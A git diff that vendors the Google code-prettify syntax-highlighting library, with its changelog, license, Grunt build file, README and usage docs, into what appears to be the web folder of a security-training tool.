+ See issue [#37](https://github.com/google/code-prettify/issues/37).
+ * Added `.m` extension to the C style handler so that Objective C source files
+ properly highlight. See issue [#58](https://github.com/google/code-prettify/issues/58).
+ * Changed HTML lexer to use the same embedded source mechanism as the wiki
+ language handler, and changed to use the registered CSS handler for STYLE
+ element content.
+
+## 21 May 2009
+
+ * Rewrote to improve performance on large files.
+ See [benchmarks](http://mikesamuel.blogspot.com/2009/05/efficient-parsing-in-javascript.html).
+ * Fixed bugs with highlighting of Haskell line comments, Lisp number literals,
+ Lua strings, C preprocessor directives, newlines in Wiki code on Windows, and
+ newlines in IE6.
+
+## 14 August 2009
+
+ * Fixed prettifying of `` blocks with embedded newlines.
+
+## 3 October 2009
+
+ * Fixed prettifying of XML/HTML tags that contain uppercase letters.
+
+## 19 July 2010
+
+ * Added support for line numbers. Bug [#22](https://github.com/google/code-prettify/issues/22)
+ * Added YAML support. Bug [#123](https://github.com/google/code-prettify/issues/123)
+ * Added VHDL support courtesy *Le Poussin*.
+ * IE performance improvements. Bug [#102](https://github.com/google/code-prettify/issues/102)
+ courtesy *jacobly*.
+ * A variety of markup formatting fixes courtesy *smain* and *thezbyg*.
+ * Fixed copy and paste in IE 6, 7, 8.
+ * Changed output to use ` ` instead of ` ` so that the output works
+ when embedded in XML. Bug [#108](https://github.com/google/code-prettify/issues/108).
+
+## 7 September 2010
+
+ * Added support for coffeescript courtesy *Cezary Bartoszuk*.
+
+## 4 March 2011
+
+ * Added a [themes gallery](https://rawgit.com/google/code-prettify/master/styles/index.html)
+ to showcase contributed styles.
+ * Added support for XQuery courtesy *Patrick Wied*, Nemerle courtesy *Zimin A.V.*,
+ and Latex support courtesy *Martin S*.
+
+## 29 March 2011
+
+ * Fixed IE newline issues, and copying/pasting of prettified source code from IE.
+ This required significant internal changes but involves no API changes.
+ **Caveat**: `prettyPrintOne` injects the HTML passed to it into a `
` element.
+ If the HTML comes from a trusted source, this may allow XSS. Do not do this.
+ This should not be a problem for existing apps since the standard usage is to
+ rewrite the HTML and then inject it, so anyone doing that with untrusted HTML
+ already has an XSS vulnerability. If you sanitize and prettify HTML from an
+ untrusted source, sanitize first.
+
+## 4 February 2013
+
+ * Language handlers for Dart, Erlang, Mumps, TCL, R, S., and others
+ * Bug fix: VB REM style comments.
+ * Bug fix: CSS color literals / ID selector confusion.
+ * Bug fix: IE8 line breaks.
+
+## 24 February 2013
+
+ * Added a one script autoload&run mechanism and a way to embed hints in
+ processing instructions/comments. See
+ [example](https://rawgit.com/google/code-prettify/master/examples/quine.html).
+
+## 4 March 2013
+
+ * Matlab language handler courtesy *Amro³*
+
+## 28 Apr 2015
+
+ * Migrated to Github
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/COPYING b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/COPYING
new file mode 100644
index 000000000..b7f86df20
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/COPYING
@@ -0,0 +1,191 @@
+
+ Apache License
+ Version 2.0, January 2004
+ http://www.apache.org/licenses/
+
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+ 1. Definitions.
+
+ "License" shall mean the terms and conditions for use, reproduction,
+ and distribution as defined by Sections 1 through 9 of this document.
+
+ "Licensor" shall mean the copyright owner or entity authorized by
+ the copyright owner that is granting the License.
+
+ "Legal Entity" shall mean the union of the acting entity and all
+ other entities that control, are controlled by, or are under common
+ control with that entity. For the purposes of this definition,
+ "control" means (i) the power, direct or indirect, to cause the
+ direction or management of such entity, whether by contract or
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
+ outstanding shares, or (iii) beneficial ownership of such entity.
+
+ "You" (or "Your") shall mean an individual or Legal Entity
+ exercising permissions granted by this License.
+
+ "Source" form shall mean the preferred form for making modifications,
+ including but not limited to software source code, documentation
+ source, and configuration files.
+
+ "Object" form shall mean any form resulting from mechanical
+ transformation or translation of a Source form, including but
+ not limited to compiled object code, generated documentation,
+ and conversions to other media types.
+
+ "Work" shall mean the work of authorship, whether in Source or
+ Object form, made available under the License, as indicated by a
+ copyright notice that is included in or attached to the work
+ (an example is provided in the Appendix below).
+
+ "Derivative Works" shall mean any work, whether in Source or Object
+ form, that is based on (or derived from) the Work and for which the
+ editorial revisions, annotations, elaborations, or other modifications
+ represent, as a whole, an original work of authorship. For the purposes
+ of this License, Derivative Works shall not include works that remain
+ separable from, or merely link (or bind by name) to the interfaces of,
+ the Work and Derivative Works thereof.
+
+ "Contribution" shall mean any work of authorship, including
+ the original version of the Work and any modifications or additions
+ to that Work or Derivative Works thereof, that is intentionally
+ submitted to Licensor for inclusion in the Work by the copyright owner
+ or by an individual or Legal Entity authorized to submit on behalf of
+ the copyright owner. For the purposes of this definition, "submitted"
+ means any form of electronic, verbal, or written communication sent
+ to the Licensor or its representatives, including but not limited to
+ communication on electronic mailing lists, source code control systems,
+ and issue tracking systems that are managed by, or on behalf of, the
+ Licensor for the purpose of discussing and improving the Work, but
+ excluding communication that is conspicuously marked or otherwise
+ designated in writing by the copyright owner as "Not a Contribution."
+
+ "Contributor" shall mean Licensor and any individual or Legal Entity
+ on behalf of whom a Contribution has been received by Licensor and
+ subsequently incorporated within the Work.
+
+ 2. Grant of Copyright License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ copyright license to reproduce, prepare Derivative Works of,
+ publicly display, publicly perform, sublicense, and distribute the
+ Work and such Derivative Works in Source or Object form.
+
+ 3. Grant of Patent License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ (except as stated in this section) patent license to make, have made,
+ use, offer to sell, sell, import, and otherwise transfer the Work,
+ where such license applies only to those patent claims licensable
+ by such Contributor that are necessarily infringed by their
+ Contribution(s) alone or by combination of their Contribution(s)
+ with the Work to which such Contribution(s) was submitted. If You
+ institute patent litigation against any entity (including a
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
+ or a Contribution incorporated within the Work constitutes direct
+ or contributory patent infringement, then any patent licenses
+ granted to You under this License for that Work shall terminate
+ as of the date such litigation is filed.
+
+ 4. Redistribution. You may reproduce and distribute copies of the
+ Work or Derivative Works thereof in any medium, with or without
+ modifications, and in Source or Object form, provided that You
+ meet the following conditions:
+
+ (a) You must give any other recipients of the Work or
+ Derivative Works a copy of this License; and
+
+ (b) You must cause any modified files to carry prominent notices
+ stating that You changed the files; and
+
+ (c) You must retain, in the Source form of any Derivative Works
+ that You distribute, all copyright, patent, trademark, and
+ attribution notices from the Source form of the Work,
+ excluding those notices that do not pertain to any part of
+ the Derivative Works; and
+
+ (d) If the Work includes a "NOTICE" text file as part of its
+ distribution, then any Derivative Works that You distribute must
+ include a readable copy of the attribution notices contained
+ within such NOTICE file, excluding those notices that do not
+ pertain to any part of the Derivative Works, in at least one
+ of the following places: within a NOTICE text file distributed
+ as part of the Derivative Works; within the Source form or
+ documentation, if provided along with the Derivative Works; or,
+ within a display generated by the Derivative Works, if and
+ wherever such third-party notices normally appear. The contents
+ of the NOTICE file are for informational purposes only and
+ do not modify the License. You may add Your own attribution
+ notices within Derivative Works that You distribute, alongside
+ or as an addendum to the NOTICE text from the Work, provided
+ that such additional attribution notices cannot be construed
+ as modifying the License.
+
+ You may add Your own copyright statement to Your modifications and
+ may provide additional or different license terms and conditions
+ for use, reproduction, or distribution of Your modifications, or
+ for any such Derivative Works as a whole, provided Your use,
+ reproduction, and distribution of the Work otherwise complies with
+ the conditions stated in this License.
+
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
+ any Contribution intentionally submitted for inclusion in the Work
+ by You to the Licensor shall be under the terms and conditions of
+ this License, without any additional terms or conditions.
+ Notwithstanding the above, nothing herein shall supersede or modify
+ the terms of any separate license agreement you may have executed
+ with Licensor regarding such Contributions.
+
+ 6. Trademarks. This License does not grant permission to use the trade
+ names, trademarks, service marks, or product names of the Licensor,
+ except as required for reasonable and customary use in describing the
+ origin of the Work and reproducing the content of the NOTICE file.
+
+ 7. Disclaimer of Warranty. Unless required by applicable law or
+ agreed to in writing, Licensor provides the Work (and each
+ Contributor provides its Contributions) on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ implied, including, without limitation, any warranties or conditions
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+ PARTICULAR PURPOSE. You are solely responsible for determining the
+ appropriateness of using or redistributing the Work and assume any
+ risks associated with Your exercise of permissions under this License.
+
+ 8. Limitation of Liability. In no event and under no legal theory,
+ whether in tort (including negligence), contract, or otherwise,
+ unless required by applicable law (such as deliberate and grossly
+ negligent acts) or agreed to in writing, shall any Contributor be
+ liable to You for damages, including any direct, indirect, special,
+ incidental, or consequential damages of any character arising as a
+ result of this License or out of the use or inability to use the
+ Work (including but not limited to damages for loss of goodwill,
+ work stoppage, computer failure or malfunction, or any and all
+ other commercial damages or losses), even if such Contributor
+ has been advised of the possibility of such damages.
+
+ 9. Accepting Warranty or Additional Liability. While redistributing
+ the Work or Derivative Works thereof, You may choose to offer,
+ and charge a fee for, acceptance of support, warranty, indemnity,
+ or other liability obligations and/or rights consistent with this
+ License. However, in accepting such obligations, You may act only
+ on Your own behalf and on Your sole responsibility, not on behalf
+ of any other Contributor, and only if You agree to indemnify,
+ defend, and hold each Contributor harmless for any liability
+ incurred by, or claims asserted against, such Contributor by reason
+ of your accepting any such warranty or additional liability.
+
+ END OF TERMS AND CONDITIONS
+
+ Copyright 2011 Mike Samuel et al
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/Gruntfile.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/Gruntfile.js
new file mode 100644
index 000000000..cf74969b5
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/Gruntfile.js
@@ -0,0 +1,253 @@
+/**
+ * google-code-prettify
+ * https://github.com/google/code-prettify
+ *
+ * Copyright (C) 2017 Google Inc.
+ * Licensed under Apache 2.0 license.
+ */
+
+module.exports = function (grunt) {
+ 'use strict';
+
+ // project configuration
+ grunt.initConfig({
+ // metadata
+ pkg: grunt.file.readJSON('package.json'),
+
+ // grunt-preprocess
+ preprocess: {
+ // https://github.com/jsoverson/preprocess#optionstype
+ options: {
+ // renders @include directives (similar to SSI server-side includes)
+ // where JS files are resolved relative to this directory
+ srcDir: 'js-modules',
+ type: 'js'
+ },
+ prettify: {
+ src: 'js-modules/prettify.js',
+ dest: 'src/prettify.js'
+ },
+ runprettify: {
+ options: {
+ context: {
+ // to control where defs.js is included (top level)
+ RUN_PRETTIFY: true
+ }
+ },
+ src: 'js-modules/run_prettify.js',
+ dest: 'src/run_prettify.js'
+ }
+ },
+
+ // grunt-contrib-copy
+ copy: {
+ prettify: {
+ options: {
+ process: function (content) {
+ // trim trailing whitespaces in blank lines added by preprocess
+ return content.replace(/[ \f\t\v]+$/gm, '');
+ }
+ },
+ files: [
+ {src: 'src/prettify.js', dest: 'src/prettify.js'},
+ {src: 'src/run_prettify.js', dest: 'src/run_prettify.js'}
+ ]
+ },
+ langs: {
+ options: {
+ process: function (content) {
+ // replace PR.PR_* token names with inlined strings
+ return content
+ .replace(/\bPR\.PR_ATTRIB_NAME\b/g, '"atn"')
+ .replace(/\bPR\.PR_ATTRIB_VALUE\b/g, '"atv"')
+ .replace(/\bPR\.PR_COMMENT\b/g, '"com"')
+ .replace(/\bPR\.PR_DECLARATION\b/g, '"dec"')
+ .replace(/\bPR\.PR_KEYWORD\b/g, '"kwd"')
+ .replace(/\bPR\.PR_LITERAL\b/g, '"lit"')
+ .replace(/\bPR\.PR_NOCODE\b/g, '"nocode"')
+ .replace(/\bPR\.PR_PLAIN\b/g, '"pln"')
+ .replace(/\bPR\.PR_PUNCTUATION\b/g, '"pun"')
+ .replace(/\bPR\.PR_SOURCE\b/g, '"src"')
+ .replace(/\bPR\.PR_STRING\b/g, '"str"')
+ .replace(/\bPR\.PR_TAG\b/g, '"tag"')
+ .replace(/\bPR\.PR_TYPE\b/g, '"typ"');
+ }
+ },
+ files: [{
+ expand: true,
+ cwd: 'loader/',
+ src: ['lang-*.js'],
+ dest: 'loader/'
+ }]
+ }
+ },
+
+ // ./tasks/aliases.js
+ aliases: {
+ langs: {
+ src: 'loader/lang-*.js',
+ filter: function (src) {
+ // skip files that are themselves aliases created in previous runs
+ return grunt.file.exists(src.replace(/^loader/, 'src'));
+ }
+ }
+ },
+
+ // grunt-contrib-uglify
+ uglify: {
+ // https://github.com/mishoo/UglifyJS2#usage
+ options: {
+ report: 'gzip',
+ ASCIIOnly: true,
+ maxLineLen: 500,
+ screwIE8: false
+ },
+ prettify: {
+ options: {
+ compress: {
+ global_defs: {'IN_GLOBAL_SCOPE': true}
+ },
+ wrap: true
+ },
+ src: 'src/prettify.js',
+ dest: 'loader/prettify.js'
+ },
+ runprettify: {
+ options: {
+ compress: {
+ global_defs: {'IN_GLOBAL_SCOPE': false}
+ },
+ wrap: true
+ },
+ src: 'src/run_prettify.js',
+ dest: 'loader/run_prettify.js'
+ },
+ langs: {
+ files: [{
+ expand: true,
+ cwd: 'src/',
+ src: ['lang-*.js'],
+ dest: 'loader/',
+ ext: '.js'
+ }]
+ }
+ },
+
+ // google-closure-compiler
+ 'closure-compiler': {
+ // https://github.com/google/closure-compiler/wiki
+ options: {
+ // Don't specify --charset=UTF-8. If we do, then non-ascii
+ // codepoints that do not correspond to line terminators are
+ // converted to UTF-8 sequences instead of being emitted as
+ // ASCII. This makes the resulting JavaScript less portable.
+ warning_level: 'VERBOSE',
+ language_in: 'ECMASCRIPT5',
+ compilation_level: 'ADVANCED',
+ charset: 'US-ASCII',
+ },
+ prettify: {
+ options: {
+ externs: 'tools/closure-compiler/amd-externs.js',
+ define: 'IN_GLOBAL_SCOPE=true',
+ output_wrapper: '!function(){%output%}()'
+ },
+ src: '<%= uglify.prettify.src %>',
+ dest: '<%= uglify.prettify.dest %>'
+ },
+ runprettify: {
+ options: {
+ externs: 'tools/closure-compiler/amd-externs.js',
+ define: 'IN_GLOBAL_SCOPE=false',
+ output_wrapper: '!function(){%output%}()'
+ },
+ src: '<%= uglify.runprettify.src %>',
+ dest: '<%= uglify.runprettify.dest %>'
+ },
+ langs: {
+ options: {
+ externs: 'js-modules/externs.js'
+ },
+ files: '<%= uglify.langs.files %>'
+ }
+ },
+
+ // ./tasks/gcc.js
+ gcc: {
+ // same as 'closure-compiler:langs'
+ langs: {
+ options: {
+ externs: 'js-modules/externs.js'
+ },
+ files: '<%= uglify.langs.files %>'
+ }
+ },
+
+ // grunt-contrib-cssmin
+ cssmin: {
+ // https://github.com/jakubpawlowicz/clean-css#how-to-use-clean-css-api
+ options: {
+ report: 'gzip'
+ },
+ prettify: {
+ src: 'src/prettify.css',
+ dest: 'loader/prettify.css'
+ },
+ skins: {
+ files: [{
+ expand: true,
+ cwd: 'styles/',
+ src: ['*.css'],
+ dest: 'loader/skins/',
+ ext: '.css'
+ }]
+ }
+ },
+
+ // grunt-contrib-compress
+ compress: {
+ zip: {
+ options: {
+ archive: 'distrib/prettify-small.zip',
+ mode: 'zip',
+ level: 9
+ },
+ files: [{
+ expand: true,
+ cwd: 'loader/',
+ src: ['*.js', '*.css', 'skins/*.css'],
+ dest: 'google-code-prettify/'
+ }]
+ }
+ },
+
+ // grunt-contrib-clean
+ clean: {
+ js: ['src/prettify.js', 'src/run_prettify.js', 'loader/*.js'],
+ css: ['loader/*.css', 'loader/skins/*.css'],
+ zip: ['distrib/*.zip']
+ }
+ });
+
+ // load plugins that provide tasks
+ require('google-closure-compiler').grunt(grunt);
+ grunt.loadTasks('./tasks');
+ grunt.loadNpmTasks('grunt-preprocess');
+ grunt.loadNpmTasks('grunt-contrib-copy');
+ grunt.loadNpmTasks('grunt-contrib-uglify');
+ grunt.loadNpmTasks('grunt-contrib-cssmin');
+ grunt.loadNpmTasks('grunt-contrib-compress');
+ grunt.loadNpmTasks('grunt-contrib-clean');
+
+ // register task aliases
+ grunt.registerTask('default', [
+ //'clean',
+ 'preprocess',
+ 'copy:prettify',
+ 'gcc',
+ 'copy:langs',
+ 'aliases',
+ 'cssmin',
+ 'compress'
+ ]);
+};
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/README.md b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/README.md
new file mode 100644
index 000000000..774adaab0
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/README.md
@@ -0,0 +1,238 @@
+# JavaScript code prettifier
+
+An embeddable script that makes source-code snippets in HTML prettier.
+
+* Works on HTML pages.
+* Works even if code contains embedded links, line numbers, etc.
+* Simple API: include some JS & CSS and add an onload handler.
+* Lightweights: small download and does not block page from loading while
+ running.
+* Customizable styles via CSS. See the [themes gallery][1].
+* Supports all C-like, Bash-like, and XML-like languages. No need to specify
+ the language.
+* Extensible language handlers for other languages. You can specify the
+ language.
+* Widely used with good cross-browser support. Powers https://code.google.com/
+ and http://stackoverflow.com/
+
+[See an example][2].
+
+## Setup
+
+ * Include the script tag below in your document:
+```HTML
+
+```
+ * See [Getting Started](docs/getting_started.md) to configure that URL with
+ options you need.
+ * Look at the [skin gallery][1] and pick styles that suit you.
+
+## Usage
+
+Put code snippets in `
...
` or
+`...` and it will automatically be
+pretty-printed.
+
+```HTML
+
class Voila {
+public:
+ // Voila
+ static const string VOILA = "Voila";
+
+ // will not interfere with embedded tags.
+}
+```
+
+## FAQ
+
+### For which languages does it work?
+
+The comments in `prettify.js` are authoritative but the lexer should work on a
+number of languages including C and friends, Java, Python, Bash, SQL, HTML,
+XML, CSS, JavaScript, Makefile, and Rust.
+
+It works passably on Ruby, PHP, VB, and Awk and a decent subset of Perl and
+Ruby, but because of commenting conventions, doesn't work on Smalltalk, OCaml,
+etc. without a language extension.
+
+Other languages are supported via extensions:
+
+[Apollo](src/lang-apollo.js);
+[Basic](src/lang-basic.js);
+[Clojure](src/lang-clj.js);
+[CSS](src/lang-css.js);
+[Dart](src/lang-dart.js);
+[Erlang](src/lang-erlang.js);
+[Go](src/lang-go.js);
+[Haskell](src/lang-hs.js);
+[Lasso](src/lang-lasso.js);
+[Lisp, Scheme](src/lang-lisp.js);
+[LLVM](src/lang-llvm.js);
+[Logtalk](src/lang-logtalk.js);
+[Lua](src/lang-lua.js);
+[MATLAB](src/lang-matlab.js);
+[MLs: F#, Ocaml,SML](src/lang-ml.js);
+[Mumps](src/lang-mumps.js);
+[Nemerle](src/lang-n.js);
+[Pascal](src/lang-pascal.js);
+[Protocol buffers](src/lang-proto.js);
+[R, S](src/lang-r.js);
+[RD](src/lang-rd.js);
+[Rust](src/lang-rust.js);
+[Scala](src/lang-scala.js);
+[SQL](src/lang-sql.js);
+[Swift](src/lang-swift.js);
+[TCL](src/lang-tcl.js);
+[LaTeX](src/lang-tex.js);
+[Visual Basic](src/lang-vb.js);
+[VHDL](src/lang-vhdl.js);
+[Wiki](src/lang-wiki.js);
+[XQ](src/lang-xq.js);
+[YAML](src/lang-yaml.js)
+
+If you'd like to add an extension for your favorite language, please look at
+`src/lang-lisp.js` and submit a pull request.
+
+### How do I specify the language of my code?
+
+You don't need to specify the language since `PR.prettyPrint()` will guess.
+You can specify a language by specifying the language extension along with the
+`prettyprint` class:
+
+```HTML
+
+ The lang-* class specifies the language file extensions.
+ File extensions supported by default include:
+ "bsh", "c", "cc", "cpp", "cs", "csh", "cyc", "cv", "htm", "html", "java",
+ "js", "m", "mxml", "perl", "pl", "pm", "py", "rb", "sh", "xhtml", "xml",
+ "xsl".
+
+```
+
+You may also use the [HTML 5][3] convention of embedding a `` element
+inside the `
` and using `language-java` style classes:
+
+```HTML
+
...
+```
+
+### It doesn't work on "obfuscated code sample"?
+
+Yes. Prettifying obfuscated code is like putting lipstick on a pig —
+i.e. outside the scope of this tool.
+
+### Which browsers does it work with?
+
+It's been tested with IE 6, Firefox 1.5 & 2, and Safari 2.0.4. Look at
+[the tests][4] to see if it works in your browser.
+
+### What's changed?
+
+See the [changelog](CHANGES.md).
+
+### Why doesn't Prettyprinting of strings work on WordPress?
+
+Apparently wordpress does "smart quoting" which changes close quotes. This
+causes end quotes to not match up with open quotes.
+
+This breaks prettifying as well as copying and pasting of code samples. See
+[WordPress's help center][5] for info on how to stop smart quoting of code
+snippets.
+
+### How do I put line numbers in my code?
+
+You can use the `linenums` class to turn on line numbering. If your code
+doesn't start at line number `1`, you can add a colon and a line number to the
+end of that class as in `linenums:52`. For example:
+
+```HTML
+
// This is line 4.
+foo();
+bar();
+baz();
+boo();
+far();
+faz();
+
+```
+
+### How do I prevent a portion of markup from being marked as code?
+
+You can use the `nocode` class to identify a span of markup that is not code:
+
+```HTML
+
+int x = foo(); /* This is a comment This is not code
+ Continuation of comment */
+int y = bar();
+
+```
+
+For a more complete example see the [issue #22 testcase][6].
+
+### I get an error message "a is not a function" or "opt_whenDone is not a function"
+
+If you are calling `prettyPrint` via an event handler, wrap it in a function.
+Instead of doing:
+
+```JavaScript
+addEventListener('load', PR.prettyPrint, false);
+```
+
+wrap it in a closure like:
+
+```JavaScript
+addEventListener('load', function(event) { PR.prettyPrint(); }, false);
+```
+
+so that the browser does not pass an event object to `PR.prettyPrint`
+which will confuse it.
+
+### How can I customize the colors and styles of my code?
+
+Prettify adds `` with `class`es describing the kind of code. You can
+create CSS styles to matches these classes.
+
+See the [theme gallery][1] for examples.
+
+### I can't add classes to my code (because it comes from Markdown, etc.)
+
+Instead of `
` you can use a comment or processing
+instructions that survives processing instructions: `` works
+as explained in [Getting Started](docs/getting_started.md).
+
+### How can I put line numbers on every line instead of just every fifth line?
+
+Prettify puts lines into an HTML list element so that line numbers aren't
+caught by copy/paste, and the line numbering is controlled by CSS in the
+default stylesheet, `prettify.css`.
+
+The following should turn line numbering back on for the other lines:
+
+```HTML
+
+```
+
+## Discussion
+
+Please use the official [support group][7] for discussions, suggestions, and
+general feedback.
+
+## License
+
+[Apache License 2.0](COPYING)
+
+
+[1]: https://rawgit.com/google/code-prettify/master/styles/index.html
+[2]: https://rawgit.com/google/code-prettify/master/examples/quine.html
+[3]: http://dev.w3.org/html5/spec-author-view/the-code-element.html#the-code-element
+[4]: https://rawgit.com/google/code-prettify/master/tests/prettify_test.html
+[5]: http://wordpress.org/support/topic/125038
+[6]: https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#issue22
+[7]: http://groups.google.com/group/js-code-prettifier
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/bower.json b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/bower.json
new file mode 100644
index 000000000..27b138175
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/bower.json
@@ -0,0 +1,40 @@
+{
+ "name": "code-prettify",
+ "description": "Google Code Prettify",
+ "authors": [
+ "Google"
+ ],
+ "license": "Apache-2.0",
+ "homepage": "https://github.com/google/code-prettify",
+ "repository": {
+ "type": "git",
+ "url": "git+https://github.com/google/code-prettify.git"
+ },
+ "keywords": [
+ "syntax",
+ "highlight",
+ "highlighting",
+ "source",
+ "code",
+ "prettify",
+ "google"
+ ],
+ "main": [
+ "src/prettify.js",
+ "src/prettify.css"
+ ],
+ "moduleType": [
+ "globals",
+ "amd"
+ ],
+ "ignore": [
+ "**/.*",
+ "node_modules",
+ "bower_components",
+ "distrib",
+ "js-modules",
+ "tasks",
+ "tests",
+ "tools"
+ ]
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/distrib/prettify-small.zip b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/distrib/prettify-small.zip
new file mode 100644
index 000000000..20c09a99b
Binary files /dev/null and b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/distrib/prettify-small.zip differ
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/docs/getting_started.md b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/docs/getting_started.md
new file mode 100644
index 000000000..fa1dd3b4f
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/docs/getting_started.md
@@ -0,0 +1,138 @@
+# Getting Started
+
+You can load the Prettify script to highlight code in your web pages.
+
+It adds styles to code snippets so that token boundaries stand out and your
+readers can get the gist of your code without having to mentally perform a
+left-to-right parse.
+
+## Marking code sections
+
+The prettyprinter looks for `
`, ``, or `` elements with the
+*prettyprint* class, and adds ``s to colorize keywords, strings,
+comments, and other token types.
+
+```HTML
+
+source code here
+
+```
+
+If you're using Markdown or some other HTML generator that does not add
+classes, you can alternatively ask the prettifier to target your code by
+preceding it with a processing instruction thus:
+
+```HTML
+
+
+code here
+
+```
+
+[Larger example](https://rawgit.com/google/code-prettify/master/examples/quine.html)
+
+## Auto-Loader
+
+You can load the JavaScript and CSS for prettify via one URL:
+
+```HTML
+
+```
+
+This will load the entire system and schedule the prettifier to run on page
+load. There are a variety of additional options you can specify (as CGI
+arguments) to configure the runner.
+
+| CGI parameter | default | meaning |
+| --------------------- | ------- | ------------------------------ |
+| autorun=(true, false) | true | run automatically on page load |
+| lang=... | none | Loads the language handler for the given language which is usually the file extension for source files for that language. See the [index of language handlers](../src). If specified multiple times (`?lang=css&lang=ml`) then all are loaded. |
+| skin=... | none | See the [skin gallery](https://cdn.rawgit.com/google/code-prettify/master/styles/index.html). If specified multiple times, the first one to successfully load is used. |
+| callback=js_ident | | `window.exports["js_ident"]` will be called when prettyprinting finishes. If specified multiple times, all are called. |
+
+For example:
+
+```HTML
+
+```
+
+The above specifies the `lang` parameter to also load the CSS language
+extension and the `skin` parameter to load the
+[*sunburst*](https://cdn.rawgit.com/google/code-prettify/master/styles/index.html#sunburst)
+skin.
+
+## Serving your own JS & CSS
+
+You can
+[download](https://raw.githubusercontent.com/google/code-prettify/master/distrib/prettify-small.tgz)
+the scripts and styles and serve them yourself. Make sure to include both the
+script and a stylesheet:
+
+```HTML
+
+
+```
+
+Then run the `PR.prettyPrint()` function once your page has finished loading.
+One way to do this is via the `onload` handler thus:
+
+```HTML
+
+```
+
+## Styling
+
+The prettifier only adds `class`es; it does not specify exact colors or fonts,
+so you can swap in a different stylesheet to change the way code is
+prettified.
+
+The easiest way to create your own stylesheet is by starting with one from the
+[style gallery](https://cdn.rawgit.com/google/code-prettify/master/styles/index.html)
+and tweaking it.
+
+You can use CSS `@media` rules to specify styles that work well with printers
+(for example, dark text on a white background) when someone tries to print it.
+
+## Language Hints
+
+Prettify makes a best effort to guess the language but works best with C-like
+and HTML-like languages. For others, there are special language handlers that
+are chosen based on language hints.
+
+For example, set the `lang-scm` hint to specify that the code is Scheme code:
+
+```HTML
+
(friends 'of '(parentheses))
+```
+
+It can also be specified as:
+
+```HTML
+
+
(friends 'of '(parentheses))
+```
+
+## Line Numbering
+
+```HTML
+
+Many
+lines
+of
+code
+
+```
+
+The `linenums` class in the above code tells the prettyprinter to insert an
+`` element and `
` elements around each line so that you get line
+numbers.
+
+Most stylesheets then hide the line numbers except for every fifth line.
+
+The class `linenums:40` makes line numbering start at line 40 if you're
+excerpting a larger chunk of code. The following also works:
+
+```HTML
+
+
+Below is the content of this page prettified. The <pre>
+element is prettified because it has class="prettyprint" and
+because the sourced script loads a JavaScript library that styles source
+code.
+
+
+
+The line numbers to the left appear because the preceding comment
+<?prettify lang=html linenums=true?> turns on
+line-numbering and the
+stylesheet
+(see skin=sunburst in the <script src>)
+specifies that every fifth line should be numbered.
+
+
+
+
+
+
+
+
+
+
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/combinePrefixPatterns.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/combinePrefixPatterns.js
new file mode 100644
index 000000000..d7b87b6fe
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/combinePrefixPatterns.js
@@ -0,0 +1,240 @@
+/**
+ * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally
+ * matches the union of the sets of strings matched by the input RegExp.
+ * Since it matches globally, if the input strings have a start-of-input
+ * anchor (/^.../), it is ignored for the purposes of unioning.
+ * @param {Array.} regexs non multiline, non-global regexs.
+ * @return {RegExp} a global regex.
+ */
+function combinePrefixPatterns(regexs) {
+ var capturedGroupIndex = 0;
+
+ var needToFoldCase = false;
+ var ignoreCase = false;
+ for (var i = 0, n = regexs.length; i < n; ++i) {
+ var regex = regexs[i];
+ if (regex.ignoreCase) {
+ ignoreCase = true;
+ } else if (/[a-z]/i.test(regex.source.replace(
+ /\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi, ''))) {
+ needToFoldCase = true;
+ ignoreCase = false;
+ break;
+ }
+ }
+
+ var escapeCharToCodeUnit = {
+ 'b': 8,
+ 't': 9,
+ 'n': 0xa,
+ 'v': 0xb,
+ 'f': 0xc,
+ 'r': 0xd
+ };
+
+ function decodeEscape(charsetPart) {
+ var cc0 = charsetPart.charCodeAt(0);
+ if (cc0 !== 92 /* \\ */) {
+ return cc0;
+ }
+ var c1 = charsetPart.charAt(1);
+ cc0 = escapeCharToCodeUnit[c1];
+ if (cc0) {
+ return cc0;
+ } else if ('0' <= c1 && c1 <= '7') {
+ return parseInt(charsetPart.substring(1), 8);
